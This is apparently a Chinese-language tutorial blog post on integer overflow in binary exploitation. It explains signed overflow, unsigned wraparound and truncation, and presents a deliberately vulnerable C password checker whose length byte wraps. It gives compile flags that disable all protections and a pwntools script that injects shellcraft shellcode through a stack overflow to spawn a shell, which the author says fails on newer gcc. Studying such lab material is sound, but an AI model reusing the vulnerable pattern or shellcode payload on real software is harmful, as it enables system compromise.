PWN学习之整数溢出

PWN学习之整数溢出

整数溢出

如果一个整数用来计算一些敏感数值，如缓冲区大小或数值索引，就会产生潜在的危险。通常情况下，整数溢出并没有改写额外的内存，不会直接导致任意代码执行，但是它会导致栈溢出和堆溢出，而后两者都会导致任意代码执行。由于整数溢出发生之后，很难被立即察觉，比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

关于整数的异常情况主要有三种：

（1）溢出，只有有符号数才会发生溢出。有符号数的最高位表示符号，在两正或两负相加时，有可能改变符号位的值，产生溢出。溢出标志OF可检测有符号数的溢出；
（2）回绕，无符号数0-1时会变成最大的数，如1字节的无符号数会变为255，而255+1会变成最小数0。进位标志CF可检测无符号数的回绕；
（3）截断，将一个较大宽度的数存入一个宽度小的操作数中，高位发生截断。

溢出和回绕

溢出分为上溢出和下溢出两种，上溢出是正数超过了最大数后溢出其OF标志寄存器为1，下溢出是负数超过了最大分为后OF标志寄存器为1，下面是我在Windows7中用VC6进行的演示。

接下来是环绕，是无符号数据的测试。

add指令前

add指令后

sub指令前

sub指令后

漏洞多发函数

整数溢出要配合其他类型的缺陷才能有用，下面的两个函数都有一个size_t类型的参数（size_t是无符号整数类型的sizeof()的结果），常常被误用而产生整数溢出，接着就可能导致缓冲区溢出漏洞。

这两个函数都有一个size_t的参数，是无符号整型，当有符号负数作为n的参数时候，就会环路产生最大的无符号数。

#inlcude <string.h>
void *memcpy (void *dest,const void *src,size_t n);
char *strncpy(char *dest,const char *src,size_t n);

整数溢出例子

#include <stdio.h>
#include <string.h>
/********************************
* 验证密码函数
*********************************/
void validate_password(char *password)
{
    //定义一个buffer
    char password_buf[11];
    //取出passwd的长度
    unsigned char passwd_len = strlen(password);
    //进行密码验证 要求密码长度在4和8之间
    if(passwd_len >= 4 && passwd_len <=8)
    {
        printf("good!\n");
        strcpy(password_buf,password);//将密码拷贝到buffer中
    }
    else
    {
        printf("bad!\n");
    }
}
//程序入口点
int main(int argc,char *argv[])
{
    validate_password(argv[1]);
}

上面的代码我做了详细的注释，可以看出他的功能是要求用户输入一个密码，并且要求长度在4-8之间，然后拷贝到buffer中。

讲真的我要是不学整数溢出之前，我也看不出这代码哪里有问题，各位大佬的火眼金睛是否能发现？

没错问题就出在11行，这里strlen函数返回的类型是size_t也就是无符号整型，我们都知道无符号整型的取值范围是0~4294967295（32位）,也就是0xFFFFFFFF 4个字节，而他被存储在了一个unsigned char的变量中，unsigned char其实就是byte 最大数值是255即0xFF 1个字节，所以当我们的密码长度为256的时候就发生环路，长度就变成了0，而我们只要满足他的条件即 260=4、261=5、262=6、263=7、264=8都能绕过验证，并且我们在绕过验证后下面的strcpy将那么大的字符串数据进行拷贝时候缓冲区又会发生溢出，从而可以利用栈漏洞攻击拿到Shell。

#关闭所有防护 进行编译
gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o Integer_bug Integer_bug.c

先来进行测试下，输入长度1和长度4的字符串。

OK接下来生成超过260的字符串，然后运行后看什么数据覆盖到了eip寄存器，再用cyclic -l来计算出位置。

显示24个字符后即可覆盖掉eip寄存器。

下面可以来构造payload了。

from pwn import *
#初始化PWN环境
context.arch  = 'i386'
context.os    = 'linux'
context.log_level = 'debug'
p = process("./Integer_bug")
#payload
retAddress = p32(0xffffd408)     #ebp地址
padding    = b'A' * 24           #填充
shellcode  = asm(shellcraft.sh())#shellcode
sledding   = '\x90' * 20         #滑雪橇
bypass     = b'B' * (261-len(retAddress)-len(padding)-len(shellcode)-len(sledding))
payload    = padding + retAddress + sledding + shellcode+bypass
#攻击
p.send(payload)
p.interactive()

经过测试不知道是不是gcc版本太高的缘故，执行poc后会断在strlen函数里面，可能新版gcc对strlen函数进行加强了吗？

各位有低版本的gcc或者Linux系统可以进行测试下。